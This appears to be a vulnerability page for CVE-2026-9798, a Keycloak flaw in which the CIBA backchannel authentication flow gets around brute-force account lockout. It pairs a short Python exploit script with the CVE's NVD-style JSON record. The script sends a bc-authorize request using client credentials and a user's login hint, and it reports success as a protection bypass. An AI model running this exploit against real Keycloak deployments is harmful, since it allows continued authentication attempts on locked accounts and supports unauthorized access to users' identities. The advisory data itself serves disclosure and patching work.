CVE-2026-9798

import requests # Target configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "vulnerable_client" client_secret = "client_secret_value" login_hint = "[email protected]" # The CIBA endpoint that may bypass the lock check url = f"{target_url}/realms/{realm}/protocol/openid-connect/bc-authorize" payload = { "client_id": client_id, "client_secret": client_secret, "login_hint": login_hint, "scope": "openid", "binding_message": "Test" } # Send request to bypass brute-force protection r = requests.post(url, data=payload) if r.status_code == 200: print("[+] Exploit successful: Protection bypassed.") print("[+] Auth Req ID:", r.json().get("auth_req_id")) else: print("[-] Failed.")

{"cve": {"id": "CVE-2026-9798", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.330", "lastModified": "2026-05-28T06:16:29.330", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak, an open-source identity and access management solution. When a user account is temporarily locked due to repeated failed login attempts, an attacker with valid client credentials can exploit the Client-Initiated Backchannel Authentication (CIBA) flow to bypass this brute-force protection. This allows continued authentication attempts and token issuance even when the account should be locked, potentially enabling further unauthorized access attempts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9798", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482470", "source": "[email protected]"}]}}